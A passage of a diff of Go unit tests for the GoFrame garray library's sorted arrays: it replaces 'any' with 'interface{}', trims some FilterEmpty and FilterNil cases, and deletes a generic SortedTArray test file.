-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -532,13 +532,13 @@ func TestSortedArray_Join(t *testing.T) {
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, `"a"`, `\a`}
+		a1 := []interface{}{0, 1, `"a"`, `\a`}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorString)
 		t.Assert(array1.Join("."), `"a".0.1.\a`)
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
+		a1 := []interface{}{}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorString)
 		t.Assert(array1.Join("."), "")
 	})
@@ -546,7 +546,7 @@ func TestSortedArray_Join(t *testing.T) {
 
 func TestSortedArray_String(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, "a", "b"}
+		a1 := []interface{}{0, 1, "a", "b"}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorString)
 		t.Assert(array1.String(), `[0,1,"a","b"]`)
 
@@ -557,9 +557,9 @@ func TestSortedArray_String(t *testing.T) {
 
 func TestSortedArray_CountValues(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "c"}
+		a1 := []interface{}{"a", "d", "c", "c"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -573,41 +573,41 @@ func TestSortedArray_CountValues(t *testing.T) {
 
 func TestSortedArray_SetUnique(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
+		a1 := []interface{}{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorInt)
 		array1.SetUnique(true)
 		t.Assert(array1.Len(), 5)
-		t.Assert(array1, []any{1, 2, 3, 4, 5})
+		t.Assert(array1, []interface{}{1, 2, 3, 4, 5})
 	})
 }
 
 func TestSortedArray_Unique(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
+		a1 := []interface{}{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorInt)
 		array1.Unique()
 		t.Assert(array1.Len(), 5)
-		t.Assert(array1, []any{1, 2, 3, 4, 5})
+		t.Assert(array1, []interface{}{1, 2, 3, 4, 5})
 
-		array2 := garray.NewSortedArrayFrom([]any{}, gutil.ComparatorInt)
+		array2 := garray.NewSortedArrayFrom([]interface{}{}, gutil.ComparatorInt)
 		array2.Unique()
 		t.Assert(array2.Len(), 0)
-		t.Assert(array2, []any{})
+		t.Assert(array2, []interface{}{})
 	})
 }
 
 func TestSortedArray_LockFunc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewSortedArrayFrom(s1, func1, true)
 
 		ch1 := make(chan int64, 3)
 		ch2 := make(chan int64, 3)
 		// go1
-		go a1.LockFunc(func(n1 []any) { // 读写锁
+		go a1.LockFunc(func(n1 []interface{}) { // 读写锁
 			time.Sleep(2 * time.Second) // 暂停2秒
 			n1[2] = "g"
 			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
@@ -633,16 +633,16 @@ func TestSortedArray_LockFunc(t *testing.T) {
 
 func TestSortedArray_RLockFunc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewSortedArrayFrom(s1, func1, true)
 
 		ch1 := make(chan int64, 3)
 		ch2 := make(chan int64, 3)
 		// go1
-		go a1.RLockFunc(func(n1 []any) { // 读写锁
+		go a1.RLockFunc(func(n1 []interface{}) { // 读写锁
 			time.Sleep(2 * time.Second) // 暂停2秒
 			n1[2] = "g"
 			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
@@ -668,19 +668,19 @@ func TestSortedArray_RLockFunc(t *testing.T) {
 
 func TestSortedArray_Merge(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
 			return 1
 		}
 
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		s2 := []string{"e", "f"}
 		i1 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i2 := garray.NewArrayFrom([]any{3})
+		i2 := garray.NewArrayFrom([]interface{}{3})
 		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		s4 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 		s5 := garray.NewSortedStrArrayFrom(s2)
 		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 
@@ -699,8 +699,8 @@ func TestSortedArray_Merge(t *testing.T) {
 func TestSortedArray_Json(t *testing.T) {
 	// array pointer
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
-		s2 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "d", "c"}
+		s2 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewSortedArrayFrom(s1, gutil.ComparatorString)
 		b1, err1 := json.Marshal(a1)
 		b2, err2 := json.Marshal(s1)
@@ -720,8 +720,8 @@ func TestSortedArray_Json(t *testing.T) {
 	})
 	// array value
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
-		s2 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "d", "c"}
+		s2 := []interface{}{"a", "b", "c", "d"}
 		a1 := *garray.NewSortedArrayFrom(s1, gutil.ComparatorString)
 		b1, err1 := json.Marshal(a1)
 		b2, err2 := json.Marshal(s1)
@@ -817,26 +817,26 @@ func TestSortedArray_Iterator(t *testing.T) {
 	slice := g.Slice{"a", "b", "d", "c"}
 	array := garray.NewSortedArrayFrom(slice, gutil.ComparatorString)
 	gtest.C(t, func(t *gtest.T) {
-		array.Iterator(func(k int, v any) bool {
+		array.Iterator(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		array.IteratorAsc(func(k int, v any) bool {
+		array.IteratorAsc(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		array.IteratorDesc(func(k int, v any) bool {
+		array.IteratorDesc(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.Iterator(func(k int, v any) bool {
+		array.Iterator(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -844,7 +844,7 @@ func TestSortedArray_Iterator(t *testing.T) {
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.IteratorAsc(func(k int, v any) bool {
+		array.IteratorAsc(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -852,7 +852,7 @@ func TestSortedArray_Iterator(t *testing.T) {
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.IteratorDesc(func(k int, v any) bool {
+		array.IteratorDesc(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -913,25 +913,25 @@ func TestSortedArray_Filter(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		values := g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}
 		array := garray.NewSortedArrayFromCopy(values, gutil.ComparatorInt)
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsNil(value)
 		}).Slice(), g.Slice{0, "", g.Slice{}, 1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFromCopy(g.Slice{nil, 1, 2, 3, 4, nil}, gutil.ComparatorInt)
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsNil(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}, gutil.ComparatorInt)
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsEmpty(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{1, 2, 3, 4}, gutil.ComparatorInt)
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsEmpty(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
@@ -939,36 +939,31 @@ func TestSortedArray_Filter(t *testing.T) {
 
 func TestSortedArray_FilterNil(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, "", nil, g.Slice{}}
+		values := g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}
 		array := garray.NewSortedArrayFromCopy(values, gutil.ComparatorInt)
 		t.Assert(array.FilterNil().Slice(), g.Slice{0, "", g.Slice{}, 1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedArrayFromCopy(g.Slice{nil, 1, 2, nil, 3, 4, nil}, gutil.ComparatorInt)
+		array := garray.NewSortedArrayFromCopy(g.Slice{nil, 1, 2, 3, 4, nil}, gutil.ComparatorInt)
 		t.Assert(array.FilterNil(), g.Slice{1, 2, 3, 4})
 	})
 }
 
 func TestSortedArray_FilterEmpty(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedArrayFrom(g.Slice{0, 1, 2, 0, -1, 3, 4, "", g.Slice{}}, gutil.ComparatorInt)
-		t.Assert(array.FilterEmpty(), g.Slice{-1, 1, 2, 3, 4})
+		array := garray.NewSortedArrayFrom(g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}, gutil.ComparatorInt)
+		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{1, 2, 3, 4}, gutil.ComparatorInt)
 		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
 	})
-	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, -1, -2, nil, []any{}, ""}
-		array := garray.NewSortedArrayFrom(values, gutil.ComparatorString)
-		t.Assert(array.FilterEmpty().Slice(), g.Slice{-1, -2, 1, 2, 3, 4})
-	})
 }
 
 func TestSortedArray_Walk(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{"1", "2"}, gutil.ComparatorString)
-		t.Assert(array.Walk(func(value any) any {
+		t.Assert(array.Walk(func(value interface{}) interface{} {
 			return "key-" + gconv.String(value)
 		}), g.Slice{"key-1", "key-2"})
 	})
@@ -976,14 +971,14 @@ func TestSortedArray_Walk(t *testing.T) {
 
 func TestSortedArray_IsEmpty(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedArrayFrom([]any{}, gutil.ComparatorString)
+		array := garray.NewSortedArrayFrom([]interface{}{}, gutil.ComparatorString)
 		t.Assert(array.IsEmpty(), true)
 	})
 }
 
 func TestSortedArray_DeepCopy(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedArrayFrom([]any{1, 2, 3, 4, 5}, gutil.ComparatorString)
+		array := garray.NewSortedArrayFrom([]interface{}{1, 2, 3, 4, 5}, gutil.ComparatorString)
 		copyArray := array.DeepCopy().(*garray.SortedArray)
 		array.Add(6)
 		copyArray.Add(7)

container/garray/garray_z_unit_sorted_int_test.go

@@ -573,7 +573,7 @@ func TestSortedIntArray_RLockFunc(t *testing.T) {
 
 func TestSortedIntArray_Merge(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
@@ -582,9 +582,9 @@ func TestSortedIntArray_Merge(t *testing.T) {
 		i0 := []int{1, 2, 3, 4}
 		s2 := []string{"e", "f"}
 		i1 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i2 := garray.NewArrayFrom([]any{3})
+		i2 := garray.NewArrayFrom([]interface{}{3})
 		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		s4 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 		s5 := garray.NewSortedStrArrayFrom(s2)
 		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 		a1 := garray.NewSortedIntArrayFrom(i0)
@@ -794,22 +794,8 @@ func TestSortedIntArray_Filter(t *testing.T) {
 
 func TestSortedIntArray_FilterEmpty(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedIntArrayFrom(g.SliceInt{0, 1, -1, 2, 3, 4, 0})
-		t.Assert(array.FilterEmpty(), g.SliceInt{-1, 1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedIntArrayFrom(g.SliceInt{0, 0, 0, 0, 0, 0, 1})
-		array.SetComparator(func(a, b int) int {
-			if a == b {
-				return 0
-			}
-			if a < b {
-				return 1
-			} else {
-				return -1
-			}
-		})
-		t.Assert(array.FilterEmpty(), g.SliceInt{1})
+		array := garray.NewSortedIntArrayFrom(g.SliceInt{0, 1, 2, 3, 4, 0})
+		t.Assert(array.FilterEmpty(), g.SliceInt{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedIntArrayFrom(g.SliceInt{1, 2, 3, 4})

container/garray/garray_z_unit_sorted_str_test.go

@@ -581,7 +581,7 @@ func TestSortedStrArray_RLockFunc(t *testing.T) {
 
 func TestSortedStrArray_Merge(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
@@ -591,9 +591,9 @@ func TestSortedStrArray_Merge(t *testing.T) {
 		s1 := []string{"a", "b", "c", "d"}
 		s2 := []string{"e", "f"}
 		i1 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i2 := garray.NewArrayFrom([]any{3})
+		i2 := garray.NewArrayFrom([]interface{}{3})
 		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		s4 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 		s5 := garray.NewSortedStrArrayFrom(s2)
 		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 		a1 := garray.NewSortedStrArrayFrom(s1)
@@ -806,23 +806,9 @@ func TestSortedStrArray_Filter(t *testing.T) {
 
 func TestSortedStrArray_FilterEmpty(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedStrArrayFrom(g.SliceStr{"", "1", "", "2", "0", ""})
+		array := garray.NewSortedStrArrayFrom(g.SliceStr{"", "1", "2", "0"})
 		t.Assert(array.FilterEmpty(), g.SliceStr{"0", "1", "2"})
 	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedStrArrayFrom(g.SliceStr{"", "", "", "2", "0", "a", "b"})
-		array.SetComparator(func(a, b string) int {
-			if a == b {
-				return 0
-			}
-			if a < b {
-				return 1
-			} else {
-				return -1
-			}
-		})
-		t.Assert(array.FilterEmpty(), g.SliceStr{"b", "a", "2", "0"})
-	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedStrArrayFrom(g.SliceStr{"1", "2"})
 		t.Assert(array.FilterEmpty(), g.SliceStr{"1", "2"})

container/garray/garray_z_unit_sorted_t_test.go

@@ -1,924 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-// go test *.go
-
-package garray_test
-
-import (
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/gogf/gf/v2/container/garray"
-	"github.com/gogf/gf/v2/frame/g"
-	"github.com/gogf/gf/v2/internal/empty"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/test/gtest"
-	"github.com/gogf/gf/v2/util/gconv"
-	"github.com/gogf/gf/v2/util/gutil"
-)
-
-func TestSortedTArray_NewSortedTArrayFrom(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-		a2 := []string{"h", "j", "i", "k"}
-		func1 := func(v1, v2 string) int {
-			return strings.Compare(v1, v2)
-		}
-		func2 := func(v1, v2 string) int {
-			return -1
-		}
-		array1 := garray.NewSortedTArrayFrom(a1, func1)
-		array2 := garray.NewSortedTArrayFrom(a2, func2)
-
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []string{"a", "c", "f"})
-
-		t.Assert(array2.Len(), 4)
-		t.Assert(array2, []string{"k", "i", "j", "h"})
-	})
-}
-
-func TestNewSortedTArrayFromCopy(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-
-		func1 := func(v1, v2 string) int {
-			return strings.Compare(gconv.String(v1), gconv.String(v2))
-		}
-		func2 := func(v1, v2 string) int {
-			return -1
-		}
-		array1 := garray.NewSortedTArrayFromCopy(a1, func1)
-		array2 := garray.NewSortedTArrayFromCopy(a1, func2)
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []string{"a", "c", "f"})
-		t.Assert(array1.Len(), 3)
-		t.Assert(array2, []string{"c", "f", "a"})
-	})
-}
-
-func TestSortedTArray_SetArray(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-		a2 := []string{"e", "h", "g", "k"}
-
-		func1 := func(v1, v2 string) int {
-			return strings.Compare(v1, v2)
-		}
-
-		array1 := garray.NewSortedTArrayFrom(a1, func1)
-		array1.SetArray(a2)
-		t.Assert(array1.Len(), 4)
-		t.Assert(array1, []string{"e", "g", "h", "k"})
-	})
-
-}
-
-func TestSortedTArray_Sort(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		array1.Sort()
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []string{"a", "c", "f"})
-	})
-
-}
-
-func TestSortedTArray_Get(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		v, ok := array1.Get(2)
-		t.Assert(v, "f")
-		t.Assert(ok, true)
-
-		v, ok = array1.Get(1)
-		t.Assert(v, "c")
-		t.Assert(ok, true)
-
-		v, ok = array1.Get(99)
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-	})
-
-}
-
-func TestSortedTArray_At(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "f", "c"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		v := array1.At(2)
-		t.Assert(v, "f")
-	})
-}
-
-func TestSortedTArray_Remove(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		i1, ok := array1.Remove(1)
-		t.Assert(ok, true)
-		t.Assert(gconv.String(i1), "b")
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1.Contains("b"), false)
-
-		v, ok := array1.Remove(-1)
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-
-		v, ok = array1.Remove(100000)
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-
-		i2, ok := array1.Remove(0)
-		t.Assert(ok, true)
-		t.Assert(gconv.String(i2), "a")
-		t.Assert(array1.Len(), 2)
-		t.Assert(array1.Contains("a"), false)
-
-		i3, ok := array1.Remove(1)
-		t.Assert(ok, true)
-		t.Assert(gconv.String(i3), "d")
-		t.Assert(array1.Len(), 1)
-		t.Assert(array1.Contains("d"), false)
-	})
-
-}
-
-func TestSortedTArray_PopLeft(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array1 := garray.NewSortedTArrayFrom(
-			[]string{"a", "d", "c", "b"},
-			gutil.ComparatorT,
-		)
-		i1, ok := array1.PopLeft()
-		t.Assert(ok, true)
-		t.Assert(gconv.String(i1), "a")
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"b", "c", "d"})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{1, 2, 3}, gutil.ComparatorT)
-		v, ok := array.PopLeft()
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 2)
-		v, ok = array.PopLeft()
-		t.Assert(v, 2)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 1)
-		v, ok = array.PopLeft()
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestSortedTArray_PopRight(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array1 := garray.NewSortedTArrayFrom(
-			[]string{"a", "d", "c", "b"},
-			gutil.ComparatorT,
-		)
-		i1, ok := array1.PopRight()
-		t.Assert(ok, true)
-		t.Assert(gconv.String(i1), "d")
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"a", "b", "c"})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{1, 2, 3}, gutil.ComparatorT)
-		v, ok := array.PopRight()
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 2)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 2)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 1)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestSortedTArray_PopRand(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		i1, ok := array1.PopRand()
-		t.Assert(ok, true)
-		t.AssertIN(i1, []string{"a", "d", "c", "b"})
-		t.Assert(array1.Len(), 3)
-
-	})
-}
-
-func TestSortedTArray_PopRands(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		i1 := array1.PopRands(2)
-		t.Assert(len(i1), 2)
-		t.AssertIN(i1, []string{"a", "d", "c", "b"})
-		t.Assert(array1.Len(), 2)
-
-		i2 := array1.PopRands(3)
-		t.Assert(len(i2), 2)
-		t.AssertIN(i2, []string{"a", "d", "c", "b"})
-		t.Assert(array1.Len(), 0)
-
-	})
-}
-
-func TestSortedTArray_Empty(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArray[int](gutil.ComparatorT)
-		v, ok := array.PopLeft()
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-		t.Assert(array.PopLefts(10), nil)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-		t.Assert(array.PopRights(10), nil)
-
-		v, ok = array.PopRand()
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-		t.Assert(array.PopRands(10), nil)
-	})
-}
-
-func TestSortedTArray_PopLefts(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		i1 := array1.PopLefts(2)
-		t.Assert(len(i1), 2)
-		t.AssertIN(i1, []string{"a", "d", "c", "b", "e", "f"})
-		t.Assert(array1.Len(), 4)
-
-		i2 := array1.PopLefts(5)
-		t.Assert(len(i2), 4)
-		t.AssertIN(i2, []string{"a", "d", "c", "b", "e", "f"})
-		t.Assert(array1.Len(), 0)
-	})
-}
-
-func TestSortedTArray_PopRights(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		i1 := array1.PopRights(2)
-		t.Assert(len(i1), 2)
-		t.Assert(i1, []string{"e", "f"})
-		t.Assert(array1.Len(), 4)
-
-		i2 := array1.PopRights(10)
-		t.Assert(len(i2), 4)
-		t.Assert(array1.Len(), 0)
-	})
-}
-
-func TestSortedTArray_Range(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		array2 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT, true)
-		i1 := array1.Range(2, 5)
-		t.Assert(i1, []string{"c", "d", "e"})
-		t.Assert(array1.Len(), 6)
-
-		i2 := array1.Range(7, 5)
-		t.Assert(len(i2), 0)
-		i2 = array1.Range(-1, 2)
-		t.Assert(i2, []string{"a", "b"})
-
-		i2 = array1.Range(4, 10)
-		t.Assert(len(i2), 2)
-		t.Assert(i2, []string{"e", "f"})
-
-		t.Assert(array2.Range(1, 3), []string{"b", "c"})
-
-	})
-}
-
-func TestSortedTArray_Sum(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-		a2 := []string{"1", "2", "3", "b", "e", "f"}
-		a3 := []string{"4", "5", "6"}
-		array1 := garray.NewSortedTArrayFrom(a1, gutil.ComparatorT)
-		array2 := garray.NewSortedTArrayFrom(a2, gutil.ComparatorT)
-		array3 := garray.NewSortedTArrayFrom(a3, gutil.ComparatorT)
-		t.Assert(array1.Sum(), 0)
-		t.Assert(array2.Sum(), 6)
-		t.Assert(array3.Sum(), 15)
-
-	})
-}
-
-func TestSortedTArray_Clone(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		array2 := array1.Clone()
-		t.Assert(array1, array2)
-		array1.Remove(1)
-		t.AssertNE(array1, array2)
-
-	})
-}
-
-func TestSortedTArray_Clear(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e", "f"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		t.Assert(array1.Len(), 6)
-		array1.Clear()
-		t.Assert(array1.Len(), 0)
-
-	})
-}
-
-func TestSortedTArray_Chunk(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		i1 := array1.Chunk(2)
-		t.Assert(len(i1), 3)
-		t.Assert(i1[0], []any{"a", "b"})
-		t.Assert(i1[2], []any{"e"})
-
-		i1 = array1.Chunk(0)
-		t.Assert(len(i1), 0)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []int32{1, 2, 3, 4, 5}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		chunks := array1.Chunk(3)
-		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []int32{1, 2, 3})
-		t.Assert(chunks[1], []int32{4, 5})
-		t.Assert(array1.Chunk(0), nil)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []int{1, 2, 3, 4, 5, 6}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		chunks := array1.Chunk(2)
-		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []int{1, 2})
-		t.Assert(chunks[1], []int{3, 4})
-		t.Assert(chunks[2], []int{5, 6})
-		t.Assert(array1.Chunk(0), nil)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []int{1, 2, 3, 4, 5, 6}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		chunks := array1.Chunk(3)
-		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []int{1, 2, 3})
-		t.Assert(chunks[1], []int{4, 5, 6})
-		t.Assert(array1.Chunk(0), nil)
-	})
-}
-
